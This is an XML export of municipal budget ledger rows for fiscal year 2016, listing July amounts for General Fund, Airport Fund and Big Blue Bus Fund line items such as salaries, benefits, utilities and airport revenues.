<row _id="19988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1788</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1788</total></row>
<row _id="19989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2907</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2907</total></row>
<row _id="19990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="19991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="19992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3237</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3237</total></row>
<row _id="19993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402100.0</object><object_description>AIRPORT - FUEL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-297715</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-297715</total></row>
<row _id="19994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402110.0</object><object_description>AIRPORT - HANGAR RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-26813</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-26813</total></row>
<row _id="19995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-15760</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15760</total></row>
<row _id="19996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-45000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-45000</total></row>
<row _id="19997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>134730</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>134730</total></row>
<row _id="19998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>127504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>127504</total></row>
<row _id="19999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3803</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3803</total></row>
<row _id="20000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>306</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>306</total></row>
<row _id="20001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9921</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9921</total></row>
<row _id="20002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1494612</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1494612</total></row>
<row _id="20003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>241936</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>241936</total></row>
<row _id="20004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>313690</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>313690</total></row>
<row _id="20005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1263</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1263</total></row>
<row _id="20006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5375</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5375</total></row>
<row _id="20007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>810982</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>810982</total></row>
<row _id="20008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>172498</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>172498</total></row>
<row _id="20009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2009</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2009</total></row>
<row _id="20010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5857</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5857</total></row>
<row _id="20011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10818</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10818</total></row>
<row _id="20012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511690.0</object><object_description>OUTSIDE TEMP AGENCY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>28597</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28597</total></row>
<row _id="20013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5436</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5436</total></row>
<row _id="20014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>38590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38590</total></row>
<row _id="20015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11875</total></row>
<row _id="20016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402130.0</object><object_description>AIRPORT - LAND LEASE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1410962</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1410962</total></row>
<row _id="20017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402160.0</object><object_description>AIRPORT - MISCELLANEOUS REV</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-2596</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2596</total></row>
<row _id="20018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12390</total></row>
<row _id="20019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4887</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4887</total></row>
<row _id="20020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>430998</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>430998</total></row>
<row _id="20021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9538</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9538</total></row>
<row _id="20022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>316008</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>316008</total></row>
<row _id="20023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1150</total></row>
<row _id="20024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4364</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4364</total></row>
<row _id="20025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2077</total></row>
<row _id="20026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1086</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1086</total></row>
<row _id="20028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10830</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10830</total></row>
<row _id="20029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405830.0</object><object_description>MEASURE R - OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-7840118</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7840118</total></row>
<row _id="20030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5867</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5867</total></row>
<row _id="20031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9257</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9257</total></row>
<row _id="20032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11433</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11433</total></row>
<row _id="20033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522510.0</object><object_description>COMMUNITY OUTREACH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20084</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20084</total></row>
<row _id="20034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6146</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6146</total></row>
<row _id="20035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2714</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2714</total></row>
<row _id="20036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>52492</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52492</total></row>
<row _id="20037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533070.0</object><object_description>AIRPORT SECURITY GUARDS TRANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>678259</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>678259</total></row>
